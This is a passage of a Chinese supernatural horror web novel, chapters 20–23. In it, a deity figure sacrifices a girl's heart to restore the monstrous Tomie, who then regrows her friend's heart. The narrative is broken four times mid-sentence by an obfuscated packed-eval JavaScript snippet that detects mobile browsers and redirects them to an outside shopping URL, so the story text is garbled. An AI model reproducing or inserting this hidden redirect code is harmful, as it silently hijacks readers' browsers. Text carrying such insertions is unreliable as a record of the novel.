然而这一切还没结束。等待着消失了一夜,衣衫不整回到家的月子的,是差点崩溃已经哭成了泪人的母亲,以及不远万里从东京赶了回来的父亲。 在结结实实挨了一顿臭骂之后,她周末被禁足了。 打不了电话,也无法从父母口中问出外面的具体情况。月子就这样和富江失去了联络。 但这个时候,她还是抱着点侥幸心理。 自己被禁足了,富江可能也被自家管家找到批评了所以没法对外联系。 只要周一去学校,见到朋友,一切谜团、麻烦,都能迎刃而解! 但好不容易等到周一,冲去学校的月子却没有见到好友的身影。 富江没有来学校。 发生了命案的学校人心惶惶,虽然对外宣称值班老师是突发心脏病去世的,但众人却总是喜欢将未知的死亡与怪谈联系上。 有的人说,是值班室的老师见了鬼被吓死的。也有人说,是这个老师在外面有仇人,被杀害在了学校里。甚至有人把富江不再上学一事,和老师的死扯上了关系。 黑衣管家的话就像是开启诅咒的钥匙,从那天开始,川上富江就失踪了。 虽说学校老师对外宣称川上同学是得了急病,请假去大城市治疗了,但泉泽月子知道,这只是那个浑身漆黑的管家的谎言。 富江根本就没有在家。 不光她,无数怀着或好奇心,或恶意的人也是这么想的。这些人找不到富江,无法从别的渠道打听到消息,便包围了泉泽月子,不断向女孩询问着川上富江的踪迹。 但她也不知道。 一天,两天,三天。 川上富江就像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14390657|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是夏日里融化的冰,无声无息地消失了踪影。 等待的时间变得无比漫长,每天每天,月子都希望能在早上打开教室大门的时候,看到那个熟悉的身影。 但她的希望无一例外都落空了。 一周后,忍无可忍的泉泽月子冲到了富江家的大宅门口,堵到了正准备出门的小泉凌。 “富江到底去了哪里?” 她气势汹汹地质问着一身黑衣的男人,谁曾想,对方却比她焦虑得多。 “我也找不到她。” 同样失去富江行踪,这几日一直在寻找对方的管家少见地有些不耐烦。 “那天她把你带回家,给我打了个莫名其妙的电话,人就消失了。” “电……电话?” 漆黑的管家眯起眼:“是啊,说和你去东京玩的时候遇到了点麻烦,所以要去斩草除根。” 瞬间,泉泽月子的脑海中浮现出了练马区那幢阴森的小宅。 她整个人打了个冷颤。 ……不会吧? 从富江家出来的时候,月子还浑浑噩噩的。 身为管家的小泉凌察觉到了她的不对劲,一番追问下,女孩没办法,吐露了有关佐伯宅的故事。 那男人似乎很关心富江的去向,问清楚了佐伯家的地址后也没再管她,自顾自地离开了。 月子也不敢叫住对方,就这么眼睁睁地看着面目狰狞的管家消失在了自己眼前。 “怎么办……怎么办……!” 她毕竟还只是个十几岁的少女,除了将自己所知的线索告诉有能力的大人,其他的,无能为力。 越是想,月子就越痛恨这样的自己。 如果当时她不选偏僻的路走,她们就不会看到那个诡异的屋子,之后也就不会遇到怪事。 说不定这时候,富江还会陪在她的身边。两个人周末一起翻看洗出来的照片,一起学习。 “……一定是这样的。” 正当月子如此安慰自己的时候,身后却冷不丁传来了一个陌生的声音。 “真的是这样吗?” 女孩下意识转过身,看到了一个陌生的金发男人。 他身着一件时髦的黑色长外套,脖子上挂着一个金色的,圆形的挂饰。一只手插在兜里,而另一只垂落在身侧的手上则涂着黑色的指甲油。 这身打扮放在东京说得过去,放在他们这个小镇上就显得过于特立独行。 而且男人虽然非常俊朗,但不管是身高,金发,还是五官,都昭示着对方并非日本人。 他是谁? 20. 第 20 章 月子左看看右看看,确认周围并没有其他人,才迟疑地开口:“请问,你是在和我说话吗?” “不是你还能有谁?” 对方毫不客气,长腿一迈,距离她更近了。 “泉泽月子,那家伙,‘富江’的‘朋友’。” 富江! 察觉到对方认识自己的好友,月子先是一惊,随即而来的则是一种奇妙的不满。 “你是谁?为什么要这么说别人!” 男人不屑地笑了笑:“哦,你很关心她?” “不称呼别人‘那家伙’是基本礼貌!”对方说话没头没尾,让月子警惕了不少,甚至向后退了两步。“所以你到底是谁?” 话音刚落,游乐园之行时的小插曲浮现在女孩脑中。 那时候富江和她失散,被一个奇怪的外国人搭讪,最后对方还将她送到了门口。 虽然月子觉得不会这么巧,但最近风波实在太多,让她不得不开始往百分之一的概率上猜。 “莫非你就是那个在游乐园里搭讪她的外国人?” “还挺敏锐的嘛。” 男人大方地承认了月子的猜测,不知道为什么看上去心情好了不少。 “所以,你真的觉得只要规避了一切危险,不去看,不去猜,不去探究,自己和富江就能平安度日?” 月子呆住了。 明明什么话都没说,明明他们才第一次见面,男人却好像有读心术一样,把她心里的想法全都说了出来。 “你……说什么呢……!” “只是在叙述你天真的想法而已。” 男人摘下墨镜,露出了一双蓝色的眼睛。 “好好想想吧少女,你的生活出现问题,到底是因为没有规避麻烦,还是因为——” 下一个眨眼,男人宛如鬼魅一般闪现到了月子的身后。 “麻烦主动找上了门呢?” 月子被他的神出鬼没吓了一大跳,尖叫一声,跳出了几步远。 “什,什么意思!” 她气急败坏地双手环住肩膀,尖利的嗓音中带着颤抖。 “莫名其妙!我,我会报警的!” “不想见朋友了?” 不得不说,这句话有奇效。 “什么?” 哪怕已经被来历不明的异国青年吓得有些语无伦次,听到这个,月子还是冷静了下来。 “是,是说……见富江?” 金发男人眉毛一挑:“除了她还能有谁。” 这让月子的心中燃起了希望:“你知道她在哪吗?” “她就在佐伯家。” “……诶?” “练马区的那幢房子。” 仿佛是害怕月子没听懂,青年耐心地解释着。 “因为某些原因,她现在没办法自主活动。” 这句话触到了月子的心弦,她顾不上继续怀疑男人的用意,满心都扑在了那句话上。 “她,她受伤了?!现在还好吗?” 女孩一反常态地冲到男人面前,让他眯起了眼:“你在关心她,为什么?” “我是她朋友啊!而且……而且……” 值班室那诡异的一幕浮现在脑海中,记忆里,富江的声音淡淡的,似乎一点都不怕那个恐怖的女鬼。 “而且你好奇,是吗?” 男人的声音像一把重锤,狠狠砸在月子的心上。 天气明明不算热,她却冒出了一身冷汗,完全不敢抬头看面前的陌生人。 “虽然我对你们人类的死活不感兴趣,不过,女孩,抬头看着我的眼睛。” 男人的声音高高在上,冷冰冰的不带有一丝感情,却有种让人无法反抗的压迫感。 月子抬起头,注视着那双冷冷的蓝眼睛。 “想好了再回答,你是真的担心自己朋友?还是说,只是被神秘诱惑,产生了不该有的好奇心?” “我……我……” 被那双眼睛看着,月子只觉得自己像是被扒光了,不仅仅是衣服,还有裹在外面的那层皮肉。 冰泠泠的目光刮着她热气腾腾的血肉,最后,只剩下白骨,和自己体内那些肮脏的小算盘。 无所遁形,无法逃避。 眼睛模糊了,看不清男人的脸,但怪异的是,即使已经被冒犯到了如此地步,月子也依然无法违抗对方的言语。 “我是真的担心她!是真的!” 大滴大滴的泪珠从眼眶里溢了出来,她吸着鼻子,努力地朝面前的人叫喊着。 “我知道这不对劲,但又怎么样!她没有,从来都没有伤害过我!” 是的,她知道,一直都知道。 不光是那一夜在学校,其实之前很早的时候,月子就察觉到了。 富江,或者说“川上富江”,不对劲。 只是她一直让自己忽略掉了那些不对劲的地方,自欺欺人地选择忘记,好让日常就这么维系下去。 月子有一种预感。 一旦注意到那些不正常的地方,去探究,寻找答案,或许,她就要失去自己的朋友了。 富江的一颦一笑浮现在眼前,月子无法控制自己的泪水,哭得一抽一抽。 恍惚间,她听到了一声轻笑。 那股无法违抗的压迫感忽然减轻,月子控制不住自己的身体,扑通一声跪倒在地。 “你很诚实,这很好,过关了。” 男人双手抱胸,甚至没打算伸手搀一下女孩。 “我可以带你去看她。川上富江能不能回来,说不定还得看你呢,泉泽月子。” 到了这个节骨眼,月子才忽然察觉到了不对劲。 “什,什么意思?” 她之前问男人富江有没有受伤,对方却没回答,现在又说“能不能回来”。 “放心,她好得很,一点伤都没受。” 金发男人干脆地转身,示意月子跟上自己。 “非得说的话……是吃太饱了吧。” “……哈?” 然而说了这些之后,对方的嘴就严丝合缝地不再透露任何东西。 理智告诉月子这时候不能跟这种来历不明的家伙走,但第六感和男人给他的感觉却让她做出了平常的自己不会做的选择。 跟着对方驱车前往东京。 等二人抵达东京练马区,太阳早已下山,天色也暗了下来。 男人轻车熟路,把月子带到了佐伯家的门前。 这户人家的门前还是一如既往的荒凉,院内杂草茂盛,院外报箱里塞的传单都溢了出去。 更夸张的是,佐伯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14404241|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家门前的小路连路灯都坏了。这会儿天还没彻底黑,这条路已经显得比其他小路昏暗得多。 “怎么了?” “不……怎么感觉……” 女孩皱起眉,环顾了一下四周,再三确认这里是不是自己之前到过的地方。 “感觉这里和之前来的时候不太一样了。” 即使站在佐伯家的门前,月子也没有感觉到那股能渗入骨缝的寒气。 男人满意地点点头,伸手推开了松垮垮的铁门。“再最后问一次,你真的要见那家伙?” “……嗯。” 他侧身,让开了唯一的一条路。 直通佐伯家大门。 月子看着一脸悠哉的青年,下意识咬住唇,深吸一口气,走进了佐伯家的院子。 没有阴风,没有寒气,甚至连奇妙的腐臭也没有。 佐伯家荒凉的小院静悄悄的,走了两步,甚至能听到一两声清脆的虫鸣。 大门越近,月子的心跳就越激烈。到最后,女孩的指尖接触到冰冷的门把手时,耳边只剩下了咚咚作响的心跳声。 佐伯家的门没锁,轻轻一拉,只听吧嗒一声,就开了。 屋里没有灯,很黑。 月子眯起眼,想看清房内的情况,看了半天也依然只看到了一片漆黑。 “怎么,不进去?” 那个可恶的金发男人依然站在她身后,虽然他的口气很令人火大,但却让这压抑到极致的气氛轻松了一些。 月子深呼吸了两下,走进了屋子。 佐伯家的屋子和许多人家的一户建一样,狭窄的玄关处,有一个又高又陡的木楼梯。 还没来得及打量四周的情况,月子就听到屋内传来了一阵奇妙的声音。 像是什么东西在蠕动,发出咕叽咕叽的声音,过了一会儿,又传来咕嘟咕嘟的水声。 女孩小心翼翼地绕过楼梯,看向发出声音的会客室。 那里一片漆黑。 是的,一片漆黑,什么都看不见。 但下一秒,月子就意识到,所谓的一片漆黑并非因为没有光。而是有什么“东西”,填满了整个会客室。 伴随着她的想法,那“东西”动了一下,发出了奇妙的咕哝声。 月子倒吸一口凉气,猛地靠在墙上,开始一步步向后退。但没退两步,温热的躯体便挡住了她的去路。 “怎么了?” 是那个金发男人,他并没有离开,而是一直跟在她身后。 “你不是想见富江吗,怎么见到了又要逃跑了?” “……什么?” 填满了客厅的“东西”对月子的声音产生了反应,紧接着—— “月……月子……” 漆黑的屋内传出了宛如牙牙学语一般,五音不全的喃喃声。 那黑红色的,像是软体生物,又像是淤泥一般的东西动了起来。它光滑的表面开始凹凸不平,伴随着声音,不断鼓动着,一会儿变成一张张形状怪异的“嘴”,一会儿又变成一些没有五官的脸。 “月——子——月子——月——子……” 喃喃声越来越大,声音也越来越熟悉。 泉泽月子捂住嘴:“富江……” 那蠕动着的“东西”里,传出的,正是富江的声音。 21. 第 21 章 “这到底是怎么回事!!” 泉泽月子指着填满房间的巨大不明物,看向站在自己身后的男人。 “富江为什么会在那里面?” “‘里面’?”青年像是听到了什么笑话一般,嘲讽似的勾起嘴角,连声音都带上了笑意。“这就是你的‘富江’啊。” “……诶……?” “我不是说过了吗,她好得很,一点伤都没受。只是因为吃太饱了所以现在变成了这样子。” 他在……说什么? “这家伙还挺敏锐的,知道什么是大餐。” 金发男人说着,丢下月子,自顾自来到堆满黑红色软体的屋子前。 “但她太急躁,也太贪婪,在还不懂的怎么操控自己力量的时候,就吞下了如此巨大的猎物。” 说着,他伸出手,毫无芥蒂地抚摸着那东西。 “结果就是这个了。” “什……什么……” 月子只觉得什么人在掐着自己的脖子,让她呼吸困难,只能徒劳地张开嘴,冒出几个音符。 “承受了过大的能量,其本体却又过于稚嫩,结果就是现在她无法保有基本意识,也根本无法控制形体,化作了这么一个——嗯……小可爱?” 伴随着男人的话,黑红色的软体组织颤动了一下,开始剧烈挣扎起来。 月子这才发现,它并不是占据了一楼的会客室,而是被“封”在里面的。 如今,这些宛如淤泥,又像是什么生物的软体组织的东西,在二人的惊扰下醒了过来。整栋房子都被这东西撞击得哐哐作响,但却纹丝不动。 “啧啧,脾气还挺大。” “是,是你干的吗?”女孩的脸上早已没有一丝血色,“是你把她,关在这里。” 青年看向面色苍白的女高中生,眼中闪过了一丝赞许:“是啊。” 富江对自己的认知没有任何错误,她确实能够轻易吞噬掉佐伯家咒怨。但她却高估了自己作为“人”时的上限。 那份咒怨实在是过于美味,美味得让她忘记了理智,忘记了“川上富江”这个身份,甚至忘记了维持基本形态的方法。变成了依靠本能行动的,贪婪的捕猎者。 如果不是特斯卡特利波卡,吞噬了大量咒怨的“富江”冲出佐伯家的大门,会立刻在整个东京蔓延开来。然后遵循本能的她,就会依着自己的食欲,吃掉能感知到的一切负面欲望。 到了那个时候,“富江”就再也回不来了。而整个东京,甚至整个世界,都会变成她的餐桌。 “怎么会……为什么……” 短短十几分钟内,脑中获取到的新情报已经将泉泽月子这十几年来建立的世界观砸得稀巴烂。 女孩呜咽了一声,徒劳地抓着头发,跪在地上。 “那她,富江到底是什么东西?” “你说的是名为‘川上富江’的少女,还是这家伙?” 特斯卡特利波卡抚摸着黑红色的软体,对方颤了一下,似乎有些不情愿。 “仅仅是‘川上富江’的话,那大概只是人的欲///望所幻化而来的怪物罢了,而她,她可不一样。” 修长的手指划过被结界束缚的“泥”,男人垂下眼帘,像是在端详,又像是在回忆。 “伴随着你们的文明诞生,随着你们的发展而强大,像是清道夫一样,贪婪地吞噬着一切代表着‘不好’的东西。” “但只要有人类存在,纷争就会存在。也会源源不断地诞生那些她热爱的养分。” 恐惧、猜忌、嫉妒、憎恨、一切一切象征着“负面”的情绪和能量,最后,都会被毫无恶意的“祂”吃得干干净净。 但相对的,“祂”也会在这些东西的滋养下越来越大,越来越强。 泉泽月子并不能完全理解特斯卡特利波卡所说的话,但她却抓住了其中一个重点。 “川上富江”和“富江”是两个人。 是啊,从楼梯上跌下去磕到头,就算是失忆,人又怎么可能产生那么大的变化? 其实破绽从一开始就存在,只是看着懵懂又天真的富江,月子选择了视而不见,强行将那些违和感统统忽略了。 而如今—— “……要怎么样……” “什么?” 泉泽月子咬紧牙关:“要怎么样才能让富江……让我的朋友回来?” 这次,轮到金发男人不说话了。 房间里忽然变得非常安静,只有被封锁在屋内的“淤泥”还在不断蠕动着。 “你是认真的?” “是的。” 月子所说的“富江”,并非川上富江,而是那个与她交好,一同前往东京,甚至在恶灵的追杀下出现,保护了她的富江。 “我是认真的,我要她回来这边。” 男人勾起嘴角,似乎心情很好的样子。 “看来是下定决心了。” 不过,月子看不见的是,他虽然笑着,墨镜下的那双蓝眼睛却依然冷冰冰的。即使口出赞许之言,他看月子的眼神也像是在看一个死物。 “其实我一直有个猜想。” 男人的视线落回被称为“富江”的怪物之上。 “从上次的交涉中,我发现她虽然是以负面的东西为食,却也有感受和理解其他情感的能力。那时候我就现在想,如果她吃掉的是完全相反的东西呢?” “什么?” 没等月子理解青年的话,面前的男人忽地闪现到了她面前! 同时,女孩觉得自己胸口一痛—— “……诶……?” 男人的手上,握着一把漆黑的匕首。而那黑亮而锋利的刀刃,没入了她的胸口。 大脑接受到了身体的讯号,剧烈的疼痛侵袭了月子。她想要喊痛,嗓子却发不出一丝声音,只能徒劳地伸手,抓住将自己带到此处的男人。 “我说过的,你过关了,人类。” 少女的身体颓然地倒在地上,红色迅速浸染她的衣服。 在失去意识的最后一刻,月子看到那个俊美的不似人类的金发男人半蹲下身,用一种奇异的语调向她说了一句话。 泉泽月子不知道,男人使用的,是早已失传的古代纳瓦特尔语。 翻译过来的意思便是—— “感到荣幸吧,特斯卡特利波卡在此,接受你的献祭。” 漆黑的匕首异常锋利,轻而易举便剖出了女孩的心脏。 但这还没完,特斯卡特利波卡面色不变,一手托着那颗鲜红的心脏来到封闭着富江的客厅门前。 结界解开的瞬间,血淋淋的心脏被投入了黑红色的“淤泥”之中。 那似液体,又似某种软体动物的东西已经没了人类该有的理智,凭借着本能,迅速吸收掉了心脏。 然后,它就那样凝固住了。 像是时间被静止了一般,不管是蠕动还是奇妙的咕嘟声,一切都停滞了。 然而这个假象仅仅维持了短短几秒。 “淤泥”内部发出了剧烈的咆哮声,开始不断收缩,颤动,原本光滑的表面变得凹凸不平,不断分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14412352|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂砸落在地上,却又在痛苦地翻滚后聚拢回去。 特斯卡特利波卡冷眼看着这一切。 渐渐的,满溢而出的“淤泥”开始不断回缩。它的变形与分裂随着回缩越来越剧烈,逐渐开始有了人的轮廓。 咆哮的声音也开始改变,从低沉得宛如闷雷回响,变得尖利起来,像是夹杂着什么人愤怒的叫喊。 “淤泥”越来越少,声音也越来越清晰可闻。 “……——什么——你——!” 在金发男人的眼前,原本巨大的,毫无规则和形态可言的“混沌之物”,终于全部回归到了那个在人类眼中无比美丽的皮囊内。 “你做了——什么——!你做了什么!!” 被称为“富江”的美丽女孩披散着长发,光///裸///着身躯。不知为何,她丧失了行走的能力,只能艰难地在地面上用四肢扭曲地爬行,喘着粗气愤怒地朝他尖叫着。 “你对月子……对月子做了什么!!” 而特斯卡特利波卡,他完全没有一丝怜香惜玉的打算,只是居高临下地瞧着重拾皮囊的富江,露出了他特有的,带点嘲讽意味的笑容。 “只是将她选作祭品,然后顺带做了个实验而已。看来,我猜对了。” “什么……什么意思……!” “看看你现在的样子,‘富江’。” 男人的一只手上还沾满了鲜血,他浑不在意,随意地将手插进口袋里。 “简直元气大伤啊,不仅获得的力量没了大半,现在连正常操纵身体都很难办到。就像是……” “对,就像是中了剧毒。” 富江愤怒地瞪着他。正如对方所说,她现在感觉自己浑身上下都在燃烧,疼痛。不仅脑袋嗡嗡作响,内在的部分也在翻江倒海,连视线都是模糊的。 吞噬掉佐伯一家的咒怨时,富江品尝到了极致的美味和从未体验过的满足感。 那种感觉令她十分着迷,以至于忘掉了一切,飘飘然地荡漾在一片温水里睡了醒醒了睡。 直到那阵无法抗拒的疼痛袭来。 一开始,只是像被小虫子叮了一下,有些微微的疼感。但随着时间推移,那种不适感越来越严重,甚至从一个小点扩散到了全身。 那种感觉非常糟糕,像是被硫酸腐蚀,又像是被火灼烧,或是被无数钢针来回穿刺,被利刃反复剁砍。 富江痛苦地挣扎,原本飘忽不定的意识也逐渐回笼,然后,她就看到了月子。 躺在地上,流了很多血,胸口破了个大洞的月子,以及满手是血的男人。 那一刻,富江感受到了从未有过的情绪。 凭借着这股情绪,她重新回到了现实。即使因为疼痛和不适,无法正常驱使自己的四肢,富江也用尽浑身力气,控制着一只手,死死抓住了对方的裤管。 “呵,不错,现在的表情。” 特斯卡特利波卡笑了起来。 在满地的鲜血中,男人蹲下身,用手抬起了富江的下巴。 女孩完全没意识到,现在的她还没能彻底控制住自己的皮囊。不仅眼仁全黑,连五官都还是四分五裂着的。 完全不成样子。 但即使这样,他也能感受到了那股强烈的感情。 想要杀死他的怒火。 “现在的你,反而变得可爱起来了。恭喜你,我的女孩,又学会了一种新的感情。” 特斯卡特利波卡微微偏过头,手指不断地在女孩脸上摩挲着。 “记住,这就叫做‘愤怒’。” 22. 第 22 章 “什……什么……意思……” 富江恶狠狠地瞪着男人。身体依然不听使唤,但她也不理解,为什么月子的心脏会对自己造成如此大的伤害。 “还没有发现吗?诸神喜爱纯洁无暇的祭品,而你,却恰恰相反。” “恶”是养分,而“善”则是剧毒。 让富江元气大伤的并非泉泽月子的心脏,而是那个女孩毫无保留的“善”,对挚友的友爱之心。 “想要进行捕猎,最好还是先了解一下自己的猎物,这是我的忠告。” 青年动作轻柔地替富江擦去了脸颊上的污迹。 “愤怒,憎恶,杀意,恐惧,等等等等的负面情感,是正常人类都拥有的东西。但人类也不仅仅只有这些。” 光明与黑暗,善与恶,美与不和,风暴与疫病,犯罪与规则,幸运与不幸,人世间的万物,包括人类在内,都拥有正反对立的两面。 “从锁定你的那一日起,我就在思考,以“反面,不谐”这样的东西为食的你,若是吸收了正向的东西,又会发生什么?” 特斯卡特利波卡站起身,笑着俯视富江:“结果显而易见。” 恶之花只能由罪恶来滋养,那份被人类所讴歌的“善”,对她来说,是足以杀灭自身的剧毒。 越是没有私心,纯洁热烈,对这朵花的伤害就越大。 但善与恶,爱与恨又往往会在瞬间转变。 “你的运气很好。这个躯壳能够激发出人类最为原始的欲望,扭曲他们的感情,而这就是滋养你的最佳养料。” 男人会爱这躯壳直至发狂,女人则会因为她无与伦比的完美外貌产生嫉妒之情。随着能力的增强,甚至连非人类都会被其影响。 富江并不能完全理解对方的话,却抓住了其中的一个重点。 “你……你是故意的,你故意把月子带到这里来!把她当成了实验品!” 接近川上富江的人,大多都拥有强烈的“恶意”。唯独泉泽月子是反过来的,从一开始她接触到的,就是作为幼崽的“富江”而不是躯壳的本尊。 面对“富江”的善意,她同样报以善意与纯洁的友情。 这,就是她成为祭品的理由。 “是啊,我也经过她的同意了。”青年摊开手,“能让你回来,那女孩什么都可以做,是她自己说的。” “可你挖出了月子的心,你杀了她!” “那又怎么样?” 面对富江愤怒的指控,男人显得很漠然。 “被选为祭品可是一件值得骄傲的事,而且,若非你没有失控,我大概还不会这么快就对这个女孩出手。” 富江愣住了。 吞噬了这么多人类的情感和记忆,她早已不是刚出壳的雏鸟。 男人说话的样子坦坦荡荡,完全没有人类找借口时的那种心虚感。 他只是在陈述事实。 如果她没有失控,特斯卡特利波卡就不会这么早对月子出手。 变成现在这样,有一部分原因在她自己。 在二人对峙的这段时间,女孩的五官已经逐渐恢复正常,身体机能也在慢慢恢复。 特斯卡特利波卡注意到了这点。 “离开之前,给你个忠告。” 他说着,顺手将还沾着鲜血的黑色匕首丢在了富江眼前。 “喜欢价值连城的宝石和工艺品很正常,毕竟爱美之心就连神都不能免俗。但记得,最好和这些东西保持距离。” “毕竟,你也不想还没强大到足以与我站在同一个高度之前,就被那些东西毒死吧?” 说完,男人周身漫起一阵诡异的黑雾,而他的身影,也随着黑雾散开而消失了。 “再见,富江。” 他走的如此轻松又潇洒,仿佛做过的一切都只是微不足道的小动作。 而富江,她还趴在地上。虽然身体尚不能自由活动,手指却已经开始听使唤了。 女孩伸出手,死死抓住了眼前那柄残留着月子鲜血,镌刻着奇妙纹理的黑色匕首。随后,用尽全身的力气,爬到了好友的身边。 “……月子……月子……” 她抚摸着友人的身体,却只能感受到已经开始变冷的,柔软的皮肤。 没有心跳,没有呼吸,没有属于活人的颤动。 泉泽月子闭着眼,就像是睡着了一样,胸口处却开了一个深红色的破洞。 那里空空的,什么都没剩下。血顺着那个破口,不断地往外流,把地板也染成了暗红色。 富江赤裸着身体,没有在意已经沾染在身上的粘腻的血,而是伸开双臂紧紧抱住了月子正在逐渐变凉的尸体。 能感受到,月子身上的能量正在不断流失。 黑红色的泥攀附而上,试图为她填补那些不断失去的能量。 但无论富江多么努力,月子的身体就像是破了口子的容器,就算将力量源源不断地补充给她,也无法保留下来。 要怎么办? 女孩的目光落在了友人空荡荡的胸口。 现在,那颗曾经跳动的,鲜活的心脏,已经化作剧毒,融进了富江体内。直到现在,还在不断削弱着她的力量。 恍惚间,富江回忆起了自己曾经见过的,山村贞子的记忆。 虽然曾被怀有恐惧与恶意的人类杀死,她却凭着体内的自愈能力死而复生。 对啊。 既然月子的死亡是因为她的身体破了个口子,那么,将那个破口填补上不就行了? 女孩想到了什么就会立刻去做,霎时,那些附着在泉泽月子身体上的泥开始蠕动了起来。 它们源源不断地朝那个破口涌去,直至满溢而出。 但这还不够。 黑泥虽然能补上那个破洞,却无法长时间维持这个状态。 现在的月子像是损坏的自动玩偶,缺失了一块最重要的“零件”。 ——她的心脏。 富江的一眨不眨地睁着双眼,将两只手放到了那个破口上。 那种感觉,那颗跳动的,鲜红的,滑腻腻的心脏的触感还残留在她体内。 “……现在,我可以做到……” 女孩喃喃自语着,双手浸入了黑红色的泥中,逐渐与泥融做一体。 那些泥融入了泉泽月子的皮肤,骨头,血肉中,然后,开始缓慢地增殖,变化。 富江脑海中浮现出了一颗心脏。 鲜红的,带着粗粗的血管,是她在生物课上曾经见过的仿真模型的样子。不过,这颗心脏上包裹着鲜血与粘液,正缓慢地跳动着。 她在泥中缓缓地动起了手指,像是捏橡皮泥一般,努力还原着脑海中的心脏。 还原它的触感,它的鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429885|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,它鲜活的样子。 一开始,她的捏制很顺利,但逐渐的,手中的泥变得不听使唤,手指也变得沉重了很多。 富江感到了饥饿。 这样下去不行。 “……不够,还不够……!” 黑影中那些潜伏着的黑泥瞬间涌了上来,同时,女孩睁开了已经全黑的双眼。 “我需要更多更多的力量!” 伴随着她言语,宛如瀑布一般滂沱而巨大的泥,化作一股巨浪,猛然向上,穿过屋顶,冲出了大宅。 随后,猛地在半空中炸了开来,化作细小的水滴,通过那强力的惯性,不断地向远方飞着,飞着,最终也像雨滴一样落在地上。 但它们并不会像雨水那般蒸发掉。每一粒小小的“水滴”,都拥有贪婪的食欲。 刚一接触实体,它们便化作游走的小虫,开始寻找最爱的美食,贪婪地摄取,吸收着那些力量。 就像是贪食蛇一般,越是吃,“小虫”就越大,最终又化作一汩汩黑红色的“溪流”,流向同一个地方—— 位于练马区的佐伯家。 能量源源不断地被富江吸收,她耳边响起嘈杂的声音。 有怒吼,哭泣,怨恨的低语,痛苦的尖叫,幸灾乐祸的笑声。 特斯卡特利波卡有一句话说的不够准确。 虽然人类的负面情感是她最易获得也是最多的食量,但她并非只能吸收人类的负面情绪。严格意义上来说,只要是生物的都可以。 那些飞散出去,化作黑雨的她的一部分,无孔不入地渗入每个缝隙,将这座灰色钢铁森林里一切生物遭受的苦难与怨恨统统吞噬殆尽。 手指变得灵活了起来,填补在心口破洞处的“泥”也在逐渐聚拢。 富江全神贯注地抚摸着那颗由自己捏制而成,鲜红的,柔软的,滑腻的,还在不断跳动的心脏,笑了。 那颗心越来越完整,甚至在泥中长出了血管,与化作血肉的黑泥一同,连接在了泉泽月子胸前的破口处。 先是血管,然后是骨头,血肉,最后则是白皙的皮肤。 黑泥一点点减少,月子的伤口也越来越小。最终,当富江的双手离开那个伤口,血红色的破洞也与黑泥一同消失。取而代之的,是属于人类的完整、细腻,温热的肌肤。 面前的这具身体渐渐地开始有了起伏。 富江把手轻轻按在短发女孩的胸口,感受到了那熟悉的心跳。 她长长地舒了一口气。 紧绷的神经一下放松,加上消耗了极大的力量,即使是富江,也感受到了疲惫。不多时,她的上下眼皮就开始不听使唤地开始打架了。 这种感觉很新颖,但她也没时间,没心情慢慢体验。 富江懒洋洋地打了个哈欠,躺在了月子身旁。 她没有穿衣服,身上沾满了黏糊糊的血,照理来说应该会浑身难受,但富江却不在意。 她只是小心翼翼地伸出双臂,抱住了已经毫发无伤的泉泽月子,满足地用脑袋蹭了蹭女孩的肩膀,就闭上了双眼。 女孩陷入了黑沉又甜美的梦乡。 即使脑海中还有无数哭号怒吼的声音,即使身体内侧依然有如烈火,如硫酸一般灼烧的疼痛感。 但那又如何?至少她的月子回来了,完好无损的回来了。 这样就够了。 23. 第 23 章 “富江——富江!” 女孩是被一个声音唤醒的。 她睁开眼睛,看到了一张熟悉的脸。 满是旧伤,没有毛发,暗红色的怪脸。 “……凌叔叔?” 小泉凌惊愕地看着赤//身///裸///体///的富江,又看向昏迷在一旁,衣服破了个大洞的泉泽月子。 多年与怪异打交道的直觉告诉男人,这里一定发生过很麻烦的事情。 但现在不是细究这些的时候。 他脱下外套,盖在了富江身上。 “什么都别说了,先离开这。” “等等。”富江抓住了黑衣男人,“先送月子去医院。” “什——” 女孩拽着他衣服的手紧了紧:“送月子去医院。” 小泉凌是想拒绝的。 但不知道为什么,听见富江声音的时候,鬼使神差地停了下来。 